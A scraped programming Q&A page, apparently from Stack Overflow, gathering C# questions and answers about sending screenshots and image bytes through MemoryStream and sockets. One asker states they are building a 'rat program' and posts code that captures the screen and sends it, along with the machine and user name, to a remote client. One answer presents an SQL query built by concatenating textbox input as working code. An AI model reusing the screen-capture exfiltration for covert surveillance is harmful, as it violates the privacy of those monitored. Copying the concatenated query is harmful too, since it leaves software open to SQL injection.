C# : MemoryStream problems in sending and receiving image bytes - c#

I have a problem with memory-stream
I'm making a rat program and trying to send an image but when I save it's bytes to a memory-stream using png format then send it. I just receive a small part of it and when I use bmp it gives me an error (Parameter is not valid) and when I use jpeg sometimes I receive the image missing some parts so please can anyone help me?
Server Send Code : ( this code should send PC name and an image )
string PC = Environment.MachineName + "/" + Environment.UserName+ count;
int Width = Screen.PrimaryScreen.Bounds.Width;
int Height = Screen.PrimaryScreen.Bounds.Height;
Bitmap ScreenShot = new Bitmap(Width, Height);
Graphics ScreenShotGraphics = Graphics.FromImage(ScreenShot);
ScreenShotGraphics.CopyFromScreen(0, 0, 0, 0, new Size(Width, Height), CopyPixelOperation.SourceCopy);
MemoryStream MemoryStream = new MemoryStream();
ScreenShot.Save(MemoryStream, System.Drawing.Imaging.ImageFormat.Bmp);
byte[] ScreenShotToByte = MemoryStream.ToArray();
byte[] Image = ScreenShotToByte;
MemoryStream CollectMemoryStream = new MemoryStream();
CollectMemoryStream.Write(StringToByteArray("1"), 0, 1);
CollectMemoryStream.Write(StringToByteArray(SplitChar), 0, SplitChar.Length);
CollectMemoryStream.Write(StringToByteArray(PC), 0, PC.Length);
CollectMemoryStream.Write(StringToByteArray(SplitChar), 0, SplitChar.Length);
CollectMemoryStream.Write(Image, 0, Image.Length);
Client.Client.Send(CollectMemoryStream.ToArray(), 0, CollectMemoryStream.ToArray().Length, SocketFlags.None);
Client receive Code : ( this Code should receive the PC name and the image )
SplitText is a string[] holds the order and the PC name and the image converted to string from byte[] and got split
string PCName = SplitText[1];
this.Invoke((Action)(() => { int NewClientNumber = listBox1.Items.Add(PCName); }));
MemoryStream GetThumpBytes = new MemoryStream();
GetThumpBytes.Write(ByteArray, SplitText[0].Length + SplitChar.Length + SplitText[1].Length + SplitChar.Length, ByteArray.Length-(SplitText[0].Length + SplitChar.Length + SplitText[1].Length + SplitChar.Length));
byte[] ThumpBytes = GetThumpBytes.ToArray();
MemoryStream MemoryStream = new MemoryStream();
MemoryStream.Write(ThumpBytes, 0, ThumpBytes.Length);
Image Thumb = Image.FromStream(MemoryStream);
pictureBox1.Image = Thumb;
Png Try Image :
Jpeg Try Image :
Bmp Try Image :

One issue I see is that assigning the image is most likely on the wrong thread.
this.Invoke(() => pictureBox1.Image = Thumb);

Related

WCF: using memorystream to transfer bitmaps in C#

I am using WCF for communication between client and server program on the same machine. Earlier I used Bitmaps to transfer video frames to the client. It was successful with WCF, but I only have 6 megabytes / sec LAN. Transferring 1.2Mb every second would block the LAN. I decided to JPEG encode the captured Bitmaps from the camera. It is possible to save a JPEG on the disk from a bitmap, or to a Memorystream. I created a
[MessageContract]
public class RemoteResponse
{
[MessageBodyMember(Order = 1)]
public System.IO.MemoryStream jpegImage;
}
I return this back from the (I)LiveImageService.
As I get it out in the client: RemoteResponse ret = client.GetLiveImage();
MemoryStream returnedImage = returnedResponse.jpegImage;
returnedImage.Position = 0L;
returnedImage.Seek(0, SeekOrigin.Begin);
args.image = returnedImage;
I do this in the event handler:
args.image.Position = 0L;
args.image.Seek(0, SeekOrigin.Begin);
//bitmap = new Bitmap(args.image);
bitmap = (Bitmap)Image.FromStream(args.image);
It gives me a "parameter is not valid" exception.
I have read that this is a buggy solution of Microsoft. Actually the
retreived stream is believed to be 21 bytes long because there is a trailing
zero \0 at the end of the leading "System.Drawing.Bitmap"\0. That is why the
processing of the image is stopped.
I have read a solution that avoids this:
byte[] arr = PdfReader.FlateDecode(PdfReader.GetStreamBytesRaw((PRStream)obj), true);
System.Drawing.Bitmap bmp = new System.Drawing.Bitmap(width, height, pixelFormat);
System.Drawing.Imaging.BitmapData bmd = bmp.LockBits(new System.Drawing.Rectangle(0, 0, width, height), System.Drawing.Imaging.ImageLockMode.WriteOnly, pixelFormat);
Marshal.Copy(arr, 0, bmd.Scan0, arr.Length);
bmp.UnlockBits(bmd);
using (MemoryStream ms = new MemoryStream())
{
bmp.Save(ms, System.Drawing.Imaging.ImageFormat.Png); // here it is the trick
arr = ms.GetBuffer(); // now I replace my incorrect image format bytes for the correct ones
System.Drawing.Image image = System.Drawing.Image.FromStream(ms);
image.Save(path, System.Drawing.Imaging.ImageFormat.Png);
}
How does the last arr = ... have any effect? It is not used anymore later?
So I don't understand.
update:
On a Microsoft website: https://social.msdn.microsoft.com/Forums/vstudio/en-US/f9e39595-04ca-42ae-a353-eb1a08602631/resolved-creating-image-file-parameter-is-not-valid?forum=netfxbcl
I rewrote the example so:
public static Bitmap DecodeJPEGFromMemoryStream(MemoryStream stream, int width, int height, PixelFormat pixelFormat)
{
string content = System.Text.Encoding.UTF8.GetString(stream.ToArray());
byte[] arr = Encoding.UTF8.GetBytes(content);
//byte[] arr = PdfReader.FlateDecode(PdfReader.GetStreamBytesRaw((PRStream)obj), true);
System.Drawing.Bitmap bmp = new System.Drawing.Bitmap(width, height, pixelFormat);
System.Drawing.Imaging.BitmapData bmd = bmp.LockBits(new
System.Drawing.Rectangle(0, 0, width, height),
System.Drawing.Imaging.ImageLockMode.WriteOnly, pixelFormat);
Marshal.Copy(arr, 0, bmd.Scan0, arr.Length);
bmp.UnlockBits(bmd);
using (MemoryStream ms = new MemoryStream())
{
bmp.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg); // here it is the trick
arr = ms.GetBuffer(); // now I replace my incorrect image format bytes for the correct ones
System.Drawing.Image image = System.Drawing.Image.FromStream(ms);
Bitmap ret = new Bitmap(image);
return ret;
}
}
I can see the image in the Picturebox, but it has only 2 lines, flickering.
If I obscure the camera I see that it darkens. So the data comes through now. But I cannot reconstruct my JPEG live data.
I was able to decode the JPEG data, only with saving it to disk.
So I've got the image without error. I tried to save the image only
temporarily and delete after.
public static Bitmap DecodeJPEGFromMemoryStream(MemoryStream stream, int width, int height, PixelFormat pixelFormat)
{
try
{
if(File.Exists("c:\\imagecache.jpg") == true)
File.Delete("c:\\imagecache.jpg");
//using (FileStream file = new FileStream("c:\\imagecache.jpg", FileMode.CreateNew, System.IO.FileAccess.ReadWrite))
using (FileStream file = File.Open("c:\\imagecache.jpg", FileMode.CreateNew, FileAccess.Write, FileShare.ReadWrite))
{
stream.WriteTo(file);
//JpegBitmapDecoder decoder = new JpegBitmapDecoder(file, BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.Default);
file.Close();
file.Dispose();
}
System.GC.Collect();
System.GC.WaitForPendingFinalizers();
//BitmapSource bitmapSource = decoder.Frames[0];
Bitmap jpeg;
{
{
FileInfo info = new FileInfo("c:\\imagecache.jpg");
if (info.Length == 0)
{
File.Delete("c:\\imagecache.jpg");
return null;
}
}
System.GC.Collect();
System.GC.WaitForPendingFinalizers();
jpeg = (Bitmap)Image.FromFile("c:\\imagecache.jpg"); //the process cannot access the file...
}
System.GC.Collect();
System.GC.WaitForPendingFinalizers();
if (File.Exists("c:\\imagecache.jpg") == true)
File.Delete("c:\\imagecache.jpg");
return jpeg;
}
catch(Exception ex)
{
return null;
}
}
I get the exception: The process cannot access the file "imagecache.jpg",
because it is being used by another process. Exception comes at the FromFile.
System.GC.Collect();
System.GC.WaitForPendingFinalizers();
Bitmap retImage = (Bitmap)jpeg.Clone();
jpeg.Dispose();
if (File.Exists("c:\\imagecache.jpg") == true)
{
System.IO.FileInfo fi = new System.IO.FileInfo("c:\\imagecache.jpg");
fi.Delete();
}
return retImage;
}
catch (Exception ex)
{
return null;
}
finally
{
stream.Dispose();
}
It is fixed so. Image.FromFile: the File remains locked until the Image is disposed.
So I cloned my Image and disposed the old one.
Before I've seen my Image, now nothing is visible.

Read First 6 Bytes From NetworkStream?

I am sending an image(a screenshot, particularly) via a tcpclient/networkstream. To read the image bytes properly on the receiving end, I need to know the length of the image. What I intend to do is save the first 6 bytes of the buffer for the image size(since it seems to never exceed 6 numbers), and then from thereon have the rest of the buffer as the image. The problem I am having is I am not able to read only the first 6 bytes.
Server Code
int data = 0;
byte[] readBuffer = new byte[getSelectedClient().ReceiveBufferSize];
**data = stream.Read(readBuffer, 0, 5, readBuffer.Length);** <-- sort of thing im trying to do
string pictureSize = Encoding.ASCII.GetString(readBuffer, 0, data);
Console.WriteLine(pictureSize); //for debugging purposes
string x = new Random().Next().ToString();
FileStream f = new FileStream(x + ".bmp", FileMode.Create, FileAccess.Write);
while (new FileInfo(x + ".bmp").Length != Convert.ToInt32(pictureSize))
{
**data = stream.Read(readBuffer, 6, readBuffer.Length);** <-- then it would read from the 6th byte, which would be the start of the image
f.Write(readBuffer, 0, data);
}
f.Close();
Process.Start(x + ".bmp");
screenShotBTN.Enabled = true;
Client Code
MemoryStream ms = new MemoryStream();
Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics graphics = Graphics.FromImage(bitmap);
graphics.CopyFromScreen(0, 0, 0, 0, bitmap.Size);
bitmap.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
writeToStream(combineBytes(Encoding.ASCII.GetBytes(ms.Length.ToString()), ms.ToArray()));
ms.Close();
public static byte[] combineBytes(byte[] b1, byte[] b2)
{
byte[] b3 = new byte[b1.Length + b2.Length];
Array.Copy(b1, 0, b3, 0, b1.Length);
Array.Copy(b2, 0, b3, b1.Length, b2.Length);
return b3;
}
What you are implementing is Length Prefixed messaging.
Things to remember are that when you are reading from a network stream, you will not necessarily receive all the bytes that you are looking for immediately (most times when you are testing locally everything will, but you need to program for the possibility you'll only receive 1 byte at the worst case).
Therefore you should go into a state (awaitinglength, awaitingpayload).
Then you commence reading byte(s) while in the awaiting length, then build up that data in a buffer. Once you have your length (6 bytes in your case), then you can switch state to awaitingpayload, then read this into your secondary buffer until you have the full payload and then you are good to go.
It might be worthwhile to have a read of Stephen Cleary's articles on message framing. I learn't a lot about networking through reading these.
http://blog.stephencleary.com/2009/04/sample-code-length-prefix-message.html
I solved the issue on my own.
Server
int data = 0;
byte[] readBuffer = new byte[getSelectedClient().ReceiveBufferSize];
data = stream.Read(readBuffer, 0, 6); //only read first 6
string pictureSize = Encoding.ASCII.GetString(readBuffer, 0, data);
Console.WriteLine(pictureSize); //for debugging purposes
string x = new Random().Next().ToString();
FileStream f = new FileStream(x + ".bmp", FileMode.Create, FileAccess.Write);
while (new FileInfo(x + ".bmp").Length != Convert.ToInt32(pictureSize))
{
data = stream.Read(readBuffer, 0, readBuffer.Length);
f.Write(readBuffer, 0, data);
}
f.Close();
Process.Start(x + ".bmp");
screenShotBTN.Enabled = true;
Client code
MemoryStream ms = new MemoryStream();
Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics graphics = Graphics.FromImage(bitmap);
graphics.CopyFromScreen(0, 0, 0, 0, bitmap.Size);
bitmap.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
Console.WriteLine(ms.Length.ToString());
writeToStream(combineBytes(Encoding.ASCII.GetBytes(ms.Length.ToString()), ms.ToArray()));
ms.Close();

Convert images to PNG after reading media item from Sitecore

This is code that i have now implemented:
string image = String.Empty;
ImageField imageField = itm.Fields["image"];
MediaItem mediaItem = imageField.MediaItem;
if (mediaItem != null)
{
Stream stream = mediaItem.GetMediaStream();
Image img = Image.FromStream(stream);
Bitmap bmp = new Bitmap(img, 188, 122);
ImageConverter converter = new ImageConverter();
Byte[] bytes = (byte[])converter.ConvertTo(bmp, typeof(byte[]));
stream.Read(bytes, 0, bytes.Length);
image = "data:" + mediaItem.MimeType + "," + Convert.ToBase64String(bytes);
}
return image;
What i would like to do is to convert all images that come through, into PNGs. The problem that i have right now, is that GIF images that i read from Sitecore, after all the conversion that you see above, render as black images.
I tried some implementations but the result seems to be the same.
Could anyone please help?
Best regards, Marius.
It seems that the actual problem was that i had an additional line of code that was messing things up, and i am talking about this one: stream.Read(bytes, 0, bytes.Length);
This my final code that is currently working:
string image = String.Empty;
ImageField imageField = itm.Fields["image"];
MediaItem mediaItem = imageField.MediaItem;
if (mediaItem != null)
{
Stream stream = mediaItem.GetMediaStream();
Image img = Image.FromStream(stream);
Bitmap bmp = new Bitmap(img, 188, 122);
ImageConverter converter = new ImageConverter();
Stream pngStream = new MemoryStream();
bmp.Save(pngStream, ImageFormat.Png);
Byte[] bytes = (byte[])converter.ConvertTo(Image.FromStream(pngStream), typeof(byte[]));
image = "data:image/png;base64," + Convert.ToBase64String(bytes);
}
return image;
I hope that it's helpful for somebody.
Have a great day.

Parameter is not valid - error when sending a bitmap via TCP with C#

I have a file transfer program. The program (Client) does following operations to send a bitmap via TCP socket: get screenshot -> grab Bitmap from memory -> convert to stream -> send
MemoryStream Fs = new MemoryStream();
//////////////11111
Bitmap bmp = TakeScreen();
///////////////2222
//Bitmap bmp = new Bitmap(#"C:\temp\001.bmp");
bmp.Save(Fs, ImageFormat.Bmp);
Byte[] buffer = Fs.ToArray();
Fs.Read(buffer, 0, buffer.Length);
TcpClient socket = new TcpClient("192.168.0.131", 1095);
NetworkStream nw = socket.GetStream();
nw.Write(buffer, 0, buffer.Length);
nw.Close();
Fs.Dispose();
socket.Close();
bmp.Dispose();
If I choose to transfer image directly from memory - no errors.
If I try to load Bitmap from file first - getting "Parameter is not valid" error on a server's side.
here is the server side:
NetworkStream Nw = new NetworkStream(handlerSocket.Client);
int thisRead = 0;
int Blocksize = 1024;
Byte[] dataByte = new Byte[Blocksize];
Bitmap screen = getScreen(Nw, dataByte, thisRead, Blocksize);
Nw.Close();
and
private Bitmap getScreen(NetworkStream Nw, Byte[] dataByte, int thisRead, int Blocksize)
{
Bitmap bitmap;
using (var strm = new MemoryStream())
{
while (true)
{
thisRead = Nw.Read(dataByte, 0, Blocksize);
strm.Write(dataByte, 0, thisRead);
if (thisRead == 0)
break;
}
bitmap = new Bitmap(strm); // Error here
}
Bitmap bm3 = new Bitmap(bitmap);
bitmap.Dispose();
return bm3;
}
What's causing this error? I guess it has something to do with the MemoryStream.
edit: simplified the question
You nee to seek to the beginning of the stream before you can create the Bitmap in getScreen.
private Bitmap getScreen(NetworkStream Nw, Byte[] dataByte, int thisRead, int Blocksize)
{
Bitmap bitmap;
using (var strm = new MemoryStream())
{
while (true)
{
thisRead = Nw.Read(dataByte, 0, Blocksize);
strm.Write(dataByte, 0, thisRead);
if (thisRead == 0)
break;
}
stream.Seek(0, SeekOrigin.Begin; // <-- Go Back to beginning of stream
bitmap = new Bitmap(strm); // Error here
}
Bitmap bm3 = new Bitmap(bitmap);
bitmap.Dispose();
return bm3;
}
EDIT
Detailed explanation: After writing the last byte to the stream, the stream's current position is a the end of the stream. Creating a Bitmap from the screen now tries to read the bitmap from the stream, which doesn't work, as there is no more data after the current position (= the end of the stream).
So what you need to do is tell the stream to set the current position back to the beginning of the stream. Then, the bitmap information can be read.

Image.FromStream() method returns Invalid Argument exception

I am capturing images from a smart camera imager and receiving the byte array from the camera through socket programming (.NET application is the client, camera is the server).
The problem is that i get System.InvalidArgument exception at runtime.
private Image byteArrayToImage(byte[] byteArray)
{
if(byteArray != null)
{
MemoryStream ms = new MemoryStream(byteArray);
return Image.FromStream(ms, false, false);
/*last argument is supposed to turn Image data validation off*/
}
return null;
}
I have searched this problem in many forums and tried the suggestions given by many experts but nothing helped.
I dont think there is any problem with the byte array as such because When i feed the same byte array into my VC++ MFC client application, i get the image. But this doesn't somehow work in C#.NET.
Can anyone help me ?
P.S :
Other methods i've tried to accomplish the same task are:
1.
private Image byteArrayToImage(byte[] byteArray)
{
if(byteArray != null)
{
MemoryStream ms = new MemoryStream();
ms.Write(byteArray, 0, byteArray.Length);
ms.Position = 0;
return Image.FromStream(ms, false, false);
}
return null;
}
2.
private Image byteArrayToImage(byte[] byteArray)
{
if(byteArray != null)
{
TypeConverter tc = TypeDescriptor.GetConverter(typeof(Bitmap));
Bitmap b = (Bitmap)tc.ConvertFrom(byteArray);
return b;
}
return null;
}
None of the above methods worked. Kindly help.
Image.FromStream() expects a stream that contains ONLY one image!
It resets the stream.Position to 0. I've you have a stream that contains multiple images or other stuff, you have to read your image data into a byte array and to initialize a MemoryStream with that:
Image.FromStream(new MemoryStream(myImageByteArray));
The MemoryStream has to remain open as long as the image is in use.
I've learned that the hard way, too.
Maybe the image is embedded in an OLE field and you have to consider the 88 bytes OLE header plus payload:
byteBlobData = (Byte[]) reader.GetValue(0);
stream = new MemoryStream(byteBlobData, 88, byteBlobData.Length - 88);
img = Image.FromStream(stream);
I'm guessing that something is going wrong when receiving the file from the server. Perhaps you're only getting part of the file before trying to convert it to an Image? Are you sure it's the exact same byte array you're feeding the C++ application?
Try saving the stream to a file and see what you get. You might be able to uncover some clues there.
You can also add a breakpoint and manually compare some of the bytes in the byte array to what they're supposed to be (if you know that).
Edit: It looks like there's nothing wrong with receiving the data. The problem is that it's in raw format (not a format that Image.FromStream understands). The Bitmap(Int32, Int32, Int32, PixelFormat, IntPtr) constructor may be of use here. Or, you can create the blank bitmap and blt it manually from the raw data.
I've had this problem when doing this:
MemoryStream stream = new MemoryStream();
screenshot.Save(stream, ImageFormat.Png);
byte[] bytes = new byte[stream.Length];
stream.Save(bytes, 0, steam.Length);
With the last 2 lines being the problem. I fixed it by doing this:
MemoryStream stream = new MemoryStream();
screenshot.Save(stream, ImageFormat.Png);
byte[] bytes = stream.ToArray();
And then this worked:
MemoryStream stream = new MemoryStream(bytes);
var newImage = System.Drawing.Image.FromStream(stream);
stream.Dispose();
System.InvalidArgument means The stream does not have a valid image format, i.e. an image type that is not supported.
Try this:
public Image byteArrayToImage(byte[] item)
{
Image img=Image.FromStream(new MemoryStream(item));
img.Save(Response.OutputStream, ImageFormat.Gif);
return img;
}
Hope it helps!
I've had the same problem in the past and it was caused by a leak within the windows GDI libraries, which is what 'Bitmap' uses. If this happening all the time for you then its probably unrelated, however.
this code is working
string query="SELECT * from gym_member where Registration_No ='" + textBox9.Text + "'";
command = new SqlCommand(query,con);
ad = new SqlDataAdapter(command);
DataTable dt = new DataTable();
ad.Fill(dt);
textBox1.Text = dt.Rows[0][1].ToString();
textBox2.Text = dt.Rows[0][2].ToString();
byte[] img = (byte[])dt.Rows[0][18];
MemoryStream ms = new MemoryStream(img);
pictureBox1.Image = Image.FromStream(ms);
ms.Dispose();
Try to use something similar to what is described here https://social.msdn.microsoft.com/Forums/vstudio/en-US/de9ee1c9-16d3-4422-a99f-e863041e4c1d/reading-raw-rgba-data-into-a-bitmap
Image ImageFromRawBgraArray(
byte[] arr,
int charWidth, int charHeight,
int widthInChars,
PixelFormat pixelFormat)
{
var output = new Bitmap(width, height, pixelFormat);
var rect = new Rectangle(0, 0, width, height);
var bmpData = output.LockBits(rect, ImageLockMode.ReadWrite, output.PixelFormat);
// Row-by-row copy
var arrRowLength = width * Image.GetPixelFormatSize(output.PixelFormat) / 8;
var ptr = bmpData.Scan0;
for (var i = 0; i < height; i++)
{
Marshal.Copy(arr, i * arrRowLength, ptr, arrRowLength);
ptr += bmpData.Stride;
}
output.UnlockBits(bmpData);
return output;
}
After load from DataBase byteArray has more byte than one image. In my case it was 82.
MemoryStream ms = new MemoryStream();
ms.Write(byteArray, 82, byteArray.Length - 82);
Image image = Image.FromStream(ms);
And for save in the DB I insert 82 byte to begin stream. Properties.Resources.ImgForDB - it is binary file that contain those 82 byte. (I get it next path - Load Image from DB to MemoryStream and save to binary file first 82 byte. You can take it here - https://yadi.sk/d/bFVQk_tdEXUd-A)
MemoryStream temp = new MemoryStream();
MemoryStream ms = new MemoryStream();
OleDbCommand cmd;
if (path != "")
{
Image.FromFile(path).Save(temp, System.Drawing.Imaging.ImageFormat.Bmp);
ms.Write(Properties.Resources.ImgForDB, 0, Properties.Resources.ImgForDB.Length);
ms.Write(temp.ToArray(), 0, temp.ToArray().Length);
cmd = new OleDbCommand("insert into Someone (first, Second, Third) values (#a,#b,#c)", connP);
cmd.Parameters.AddWithValue("#a", fio);
cmd.Parameters.AddWithValue("#b", post);
cmd.Parameters.AddWithValue("#c", ms.ToArray());
cmd.ExecuteNonQuery();

Categories

Resources